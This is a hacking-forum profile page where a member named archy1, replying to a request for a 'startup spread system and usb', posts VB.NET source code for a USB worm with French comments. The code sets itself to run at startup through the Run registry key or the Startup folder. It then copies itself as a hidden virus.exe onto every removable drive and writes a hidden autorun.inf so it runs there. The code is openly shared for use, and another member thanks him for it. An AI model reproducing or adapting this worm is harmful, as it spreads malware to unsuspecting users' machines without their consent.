Welcome to JomGegar.com

Register now to gain access to all of our features. Once registered and logged in, you will be able to contribute to this site by submitting your own content or replying to existing content. You'll be able to customize your profile, receive reputation points as a reward for submitting content, while also communicating with other members via your own private inbox, plus much more! This message will be removed once you have signed in.

archy1

Members
  • Content count

    226
  • Joined

  • Last visited

Community Reputation

196 Neutral 3

3 Followers

About archy1

  • Rank
    Senior Member level 2
  • Birthday June 18

Profile Information

  • Interests sport and grey hat
  • Gender Male
  • Location france

Recent Profile Visitors

1538 profile views

Single Status Update

See all updates by archy1

  1. @archy1 bro add startup spread system and usb :) xmas 

     

    http://ge.tt/7PEmT4i2

    1. archy1

      archy1

      In your form..

      Imports System.IO
      Imports Microsoft.Win32
      
      Public Class Form1
      
          Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
              Try
                  Dim temp = Environment.GetEnvironmentVariable("temp") '
                  Dim regKey As RegistryKey
                  regKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
                  regKey.SetValue("Win32", temp & "\virus.exe")
                  File.Copy(Application.ExecutablePath, temp & "\virus.exe") 'copiage du virus vers le dossier temp
              Catch ex As Exception
                  Dim startup
                  startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup) 'startup = chemin du dossier de démarrage
                  File.Copy(Application.ExecutablePath, startup & "\virus.exe") 'copiage du virus vers le dossier de démarrage
              End Try
              searchDrives() 'execute le code du sub "searchdrives"
          End Sub
        
          Sub searchDrives()
              Do
                  On Error Resume Next
                  System.Threading.Thread.Sleep(1000) 'indique que il faut attendre une seconde (2000 = deux secondes, etc..)
                  Dim allDrives() As IO.DriveInfo = IO.DriveInfo.GetDrives()
                  Dim d As IO.DriveInfo
      
                  For Each d In allDrives 'Pour chaque disque dans "alldrives" :
                      If d.DriveType = IO.DriveType.Removable Then 'Vérifie si parmis les disques présents il y a des disques amovibles (USB, SD etc...)
                          If d.IsReady Then
                              If Not File.Exists(d.Name & "\virus.exe") Then 'si il n'y a pas de fichier comme indiqué (ici le virus) Alors :
                                  Spread(d.Name) 'La fonction "Spread" se lance
                                  SetAutorun(d.Name) 'La fonction "SetAutorun" se lance
                              End If
                          End If
                      End If
                  Next
              Loop
          End Sub
          Function Spread(ByVal drive As String) 'La fonction "Spread"
              On Error Resume Next
              Dim Path As String = Reflection.Assembly.GetExecutingAssembly.Location
              File.Copy(Path, drive & "\virus.exe")
              Dim fl As New FileInfo(drive & "\virus.exe") 'copie le virus  dans l'endroit spécifié
              fl.Attributes = 2
              Return Nothing
          End Function
          Function SetAutorun(ByVal drive As String) 'La fonction "Set Autorun"
              On Error Resume Next
              Dim aRun As New StreamWriter(drive & "\autorun.inf")
              aRun.WriteLine("[AutoRun]")
              aRun.WriteLine("Open = virus.exe")
              aRun.Close()
              Dim fl As New FileInfo(drive & "\autorun.inf") 'crée le fichier autorun et/ou le copie dans l'endroit spécifié
              fl.Attributes = 2
              Return Nothing
          End Function
      End Class

       

    2. White

      White

      :inlove Woooooow thnks bro